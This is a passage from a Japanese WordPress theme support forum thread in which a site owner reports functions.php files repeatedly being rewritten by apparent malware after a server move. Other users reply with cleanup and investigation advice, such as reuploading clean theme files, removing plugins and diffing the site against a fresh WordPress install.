強いていえば、function.php のパーミッションを400にしますと、書き換わらないようなのですが…。ちなみに該当フォルダをダウンロードして、avastにてスキャンしましたところ「脅威はない」と言われてしまいました…。
お手数ばかりおかけしてすみません…。 -
2016年9月23日 2:59 PM #45510
けい
ゲストちなみに詳しい方に聞きましたところ、
キャッシュプラグインのせいで、過去のものが表示されている?とお聞きしまして…。
FTPで確認したfunction.phpが、有効化のたびに上記内容が挿入される…というのは、
キャッシュプラグインで、ありえるものなのでしょうか。現在、とりいそぎキャッシュプラグイン(fastest cache)をオフにし、
また親テーマ・子テーマともにfunction.phpを400にし、
子テーマで運営しているという状況です。
現在は大丈夫な状態なのですが…。病気を持ちつつ原因が分からないような不安を抱いております…。
-
2016年9月23日 4:36 PM #45511
わいひらキーマスター#45482で提示したリンクに一応対処方法は書かれているようです。
・Copy all your themes to your local machine and clean the bad code from each functions.php file in each of your themes and reupload
・OR, If you have the original clean copies of your themes, reupload/replace functions.php from all of your themes (there might be more than one functions file per theme)とりあえず、WordpressにインストールしてあるテーマはSimplicityの親テーマ以外はすべて削除してください。一度感染したら、全てのfunctions.phpのファイルに感染している恐れがあるので。
その後、functions.phpの問題のコードを削除する、もしくはダウンロードしたてのSimplicity親テーマをFTPで上書きアップロードするかだと思います。手順としては、
1.Simplicity親テーマ以外のテーマをすべて削除する(できればプラグインも)
2.functions.phpをローカルにダウンロードしコードを削除した後上書きアップロード、もしくはまっさらなfunctions.phpを上書きアップロード
3.しばらく親テーマで動かしてみて、functions.phpに問題がないようなら、子テーマもインストールするといった感じでしょうか。
ただ、記事は2012年と古いものなので、今もこの方法がうまくいくかは、ちょっとわからないです。
参考:The WordPress boo-boo turned out to be a worm ? Retrohelix.com -
2016年9月23日 4:38 PM #45512
わいひらキーマスターあと、もしこの後、コードを貼り付けることがあれば、よろしければ以下に書かれているコードの貼り付け方で貼り付けていただけると助かります。
https://wp-simplicity.com/suport/topic/first-time/ -
2016年9月23日 4:44 PM #45513
わいひらキーマスターちなみに、サーバー移設前と後のサーバは同じなのでしょうか。
差し支えなければ、レンタルサーバー名も教えていただければと思います。 -
2016年9月23日 5:19 PM #45516
hidekichi
ゲスト何にせよ、正常に稼働が確認できるまでは、全てのキャッシュデータは削除&キャッシュはoffで。これはカスタマイズする時も、テーマの更新・変更時でも同じです。
> データベースのみエクスポートし、
> 新規サーバーに移動しました。
> … 数時間して、またもfunction.phpが、
> 親テーマ・子テーマともに書き換わってしまいました…。移行した後、プラグインは何も入っていない状態でfunctions.phpが書き換わったと言うことですかね?
> とりいそぎキャッシュプラグイン(fastest cache)をオフにし
こうある所から、プラグインは入れたりしたわけですか?
まず何も入れないで、経過を確認するべきです。またテストサイト(cloud9とかinstant wordpressとか)を利用して、データをインポートして様子を見たり、ローカルでサーバーを構築してphpmyadminでデータベースをチェックしておかしな記述がないかもできるなら確認したほうが良いかと思います。
せっかく新しい環境に移って元に戻ったのでは元の木阿弥ですから、できるだけ新規に構築していくほうが良いです。
今回の場合、何かしらがfunctions.phpに追記したと言うことですが、その何かしらが不明です。直接パスワードが破られて書き込まれた可能性もありますが、他でも同じような症状の人が結構数いるので、直接書き込まれたと言うよりは、おそらくプラグイン経由か、ローカルPCのいずれかにそれらを書き込むやつがいるようにも思えます。
まずは、何もない状態で投稿記事をインポートやらして元に戻し、経過を確認してそれでも問題なければ順番にプラグインを戻していくと言うやり方で、できるだけ古いプラグインは使わず、また作者サイトからダウンロードしたりするのではなく、wordpressのプラグインインストールを使いかつ、長く更新されていないものは利用しないようにしてください。
cache、その他高速化のプラグインなんかは一番最後、しばらく運営してから入れても全然問題ない種類です。
ファイルの差分を見れるソフトなどで、新規ダウンロードして展開したwordpressと、ftpからダウンロードしたリモートのファイルとを調査して、オリジナルに含まれていないファイルを見つけたり、変な記述がないかを確認したりします。
htaccessとかに何か書き込まれていたりするかもしれませんし、今回のように原因や経路がわからない以上慎重に慎重を重ねて元に戻していくしか無いかと思います。 -
2016年9月23日 5:22 PM #45517
hidekichi
ゲスト> わいひらさん
#45472レンタルサーバーはバリューサーバーみたいです。
-
2016年9月23日 5:22 PM #45518
hidekichi
ゲスト新規作成されたサーバーは違うかもしれませんね。
-
2016年9月23日 6:34 PM #45521
けい
ゲストわいひらさま、そしてみなさま大変大変ありがとうございます…!
とりいそぎ他のテーマをすべて削除し、あらためてSimplicityのみとさせていただきました。
プラグインもあらため削除・新規で試させていただきます。
コードも承りました…!
またサーバーですが、旧サーバーはバリューサーバー、新規はエックスサーバーとなります。またお恥ずかしい話なのですが、バリューサーバーの別アカウントで取得しておりました、他の管理サイトも、別テーマなのですが、そちらのfunction.phpも、やはり同じような記述が挿入されておりました。一個ほどをのぞいてほぼすべてです。さすがに真っ白にはなってなかったのですが…。
こちらもやはりfunction.phpを元のものに戻し、400とさせていただいてます。
共通というか…。どのサイトでも、以前Atahuaplaというテーマを使用してまして、それが関連しているのでは…?と少しだけ思いましたが、いえ、自分の管理不足ですね…。そしてhidekichiさま
>何にせよ、正常に稼働が確認できるまでは、全てのキャッシュデータは削除&キャッシュはoffで。これはカスタマイズする時も、テーマの更新・変更時でも同じです。
こちら承りました…!肝に銘じます…!
>移行した後、プラグインは何も入っていない状態でfunctions.phpが書き換わったと言うことですかね?
これは、いえ、プラグインは新規インストールで入れたりしておりました。
キャッシュプラグインfastest cacheなども新規でしたが…。>こうある所から、プラグインは入れたりしたわけですか?
まず何も入れないで、経過を確認するべきです。そうですね…。肝に銘じます。
>またテストサイト(cloud9とかinstant wordpressとか)を利用して、データをインポートして様子を見たり、ローカルでサーバーを構築してphpmyadminでデータベースをチェックしておかしな記述がないかもできるなら確認したほうが良いかと思います。
>せっかく新しい環境に移って元に戻ったのでは元の木阿弥ですから、できるだけ新規に構築していくほうが良いです。確かに…。できるだけ新規に、ですね。
>今回の場合、何かしらがfunctions.phpに追記したと言うことですが、その何かしらが不明です。直接パスワードが破られて書き込まれた可能性もありますが、他でも同じような症状の人が結構数いるので、直接書き込まれたと言うよりは、おそらくプラグイン経由か、ローカルPCのいずれかにそれらを書き込むやつがいるようにも思えます。
同じような症状の方がいるのですね…。
どこかの情報などでしょうか…?
こちらありがとうございます。>cache、その他高速化のプラグインなんかは一番最後、しばらく運営してから入れても全然問題ない種類です。
確かに…そうですね…。承りました。サーバー引っ越しのついでに、より速度が増せば…と思いまして…。
>ファイルの差分を見れるソフトなどで、新規ダウンロードして展開したwordpressと、ftpからダウンロードしたリモートのファイルとを調査して、オリジナルに含まれていないファイルを見つけたり、変な記述がないかを確認したりします。
htaccessとかに何か書き込まれていたりするかもしれませんし、今回のように原因や経路がわからない以上慎重に慎重を重ねて元に戻していくしか無いかと思います。こちらも試してみます。ありがとうございます。
-
-
投稿者投稿
- このトピックに返信するにはログインが必要です。